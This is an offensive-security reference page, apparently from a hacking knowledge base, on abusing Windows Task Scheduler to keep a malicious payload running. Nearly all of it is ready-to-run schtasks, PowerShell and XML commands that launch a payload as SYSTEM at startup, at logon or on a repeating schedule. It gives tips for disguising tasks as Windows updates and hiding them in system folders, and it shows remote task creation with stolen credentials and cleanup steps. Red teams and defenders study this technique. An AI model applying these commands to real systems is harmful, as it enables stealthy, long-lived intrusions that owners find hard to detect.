# Windows Scheduled Task Persistence

> Covers abusing Windows Task Scheduler (schtasks/COM) to establish persistent execution, including trigger types, privilege levels, and XML task configurations.

- **URL:** https://hackindex.io/platforms/windows/persistence/windows-scheduled-task-persistence
- **Path:** Windows > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/windows/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Scheduled tasks are one of the most reliable persistence mechanisms on Windows. They blend in with the dozens of legitimate tasks already present on every installation. Advantages over other methods:

- Survive reboots and run as any user including SYSTEM
- Support complex triggers (time-based, event-based, at logon)
- Tasks running as SYSTEM execute even when no user is logged in
- Can be created remotely for persistence on other hosts

Tasks created with admin rights that run as SYSTEM are the most flexible option.

## Creating tasks with schtasks

The built-in `schtasks` command works on all Windows versions and requires no additional tools.

**Create scheduled task with schtasks**

```powershell
# Run at system startup as SYSTEM
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /f

# Run at user logon
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru $USER /f

# Run every 5 minutes (useful for checking in)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 5 /ru SYSTEM /f

# Run daily at a specific time
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc daily /st 09:00 /ru SYSTEM /f

# Verify task was created
schtasks /query /tn "WindowsUpdate" /fo LIST /v
```

Task names that resemble legitimate Windows tasks blend in better. Common patterns: `WindowsUpdate`, `MicrosoftEdgeUpdate`, `OneDriveRemediation`. Place tasks in a subfolder to further reduce visibility: use `/tn "\Microsoft\Windows\UpdateOrchestrator\TaskName"`.

## Creating tasks with PowerShell

The PowerShell task cmdlets give more control over trigger types and task properties than schtasks.

**Create scheduled task with PowerShell**

```powershell
# Define action, trigger, settings, and principal
$action = New-ScheduledTaskAction -Execute 'C:\Windows\Temp\payload.exe'
$trigger = New-ScheduledTaskTrigger -AtStartup
$settings = New-ScheduledTaskSettingsSet -Hidden
$principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest

# Register the task
Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force

# Logon trigger
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force

# Repeating trigger: every 10 minutes indefinitely
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 10) -Once -At (Get-Date)
Register-ScheduledTask -TaskName 'WindowsUpdate' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force
```

## XML task import

Tasks can be defined in XML and imported. This is useful for creating tasks with trigger types or properties that schtasks does not expose through command-line flags, and the XML can be staged on disk and imported in one step.

```xml
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <BootTrigger>
      <Enabled>true</Enabled>
    </BootTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <Hidden>true</Hidden>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  </Settings>
  <Actions>
    <Exec>
      <Command>C:\Windows\Temp\payload.exe</Command>
    </Exec>
  </Actions>
</Task>
```

**Import task from XML**

```powershell
# Import XML task definition
schtasks /create /tn "WindowsUpdate" /xml C:\Windows\Temp\task.xml /f

# Or via PowerShell
$xml = Get-Content C:\Windows\Temp\task.xml | Out-String
Register-ScheduledTask -Xml $xml -TaskName 'WindowsUpdate' -Force
```

## Remote task creation

Tasks can be created on remote hosts directly from your current session if you have admin credentials. This is useful for establishing persistence on a host you have moved to without needing an interactive shell.

**Create task on remote host**

```powershell
# schtasks with /s flag for remote host
schtasks /create /s $TARGET_IP /u $DOMAIN\$USER /p $PASSWORD /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /f

# Query remote task
schtasks /query /s $TARGET_IP /u $DOMAIN\$USER /p $PASSWORD /tn "WindowsUpdate"

# nxc: create and run task on remote host
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M schtask_as_user -o TASK=WindowsUpdate CMD="C:\Windows\Temp\payload.exe"
```

## Cleaning up

**Remove scheduled task**

```powershell
# Delete task
schtasks /delete /tn "WindowsUpdate" /f

# PowerShell
Unregister-ScheduledTask -TaskName 'WindowsUpdate' -Confirm:$false

# Remote removal
schtasks /delete /s $TARGET_IP /u $DOMAIN\$USER /p $PASSWORD /tn "WindowsUpdate" /f
```

## References

- [Task Scheduler XML Schema: Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-schema) - Full XML schema reference for task definitions
- [schtasks create: Microsoft Docs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create) - All schtasks /create flags and trigger types
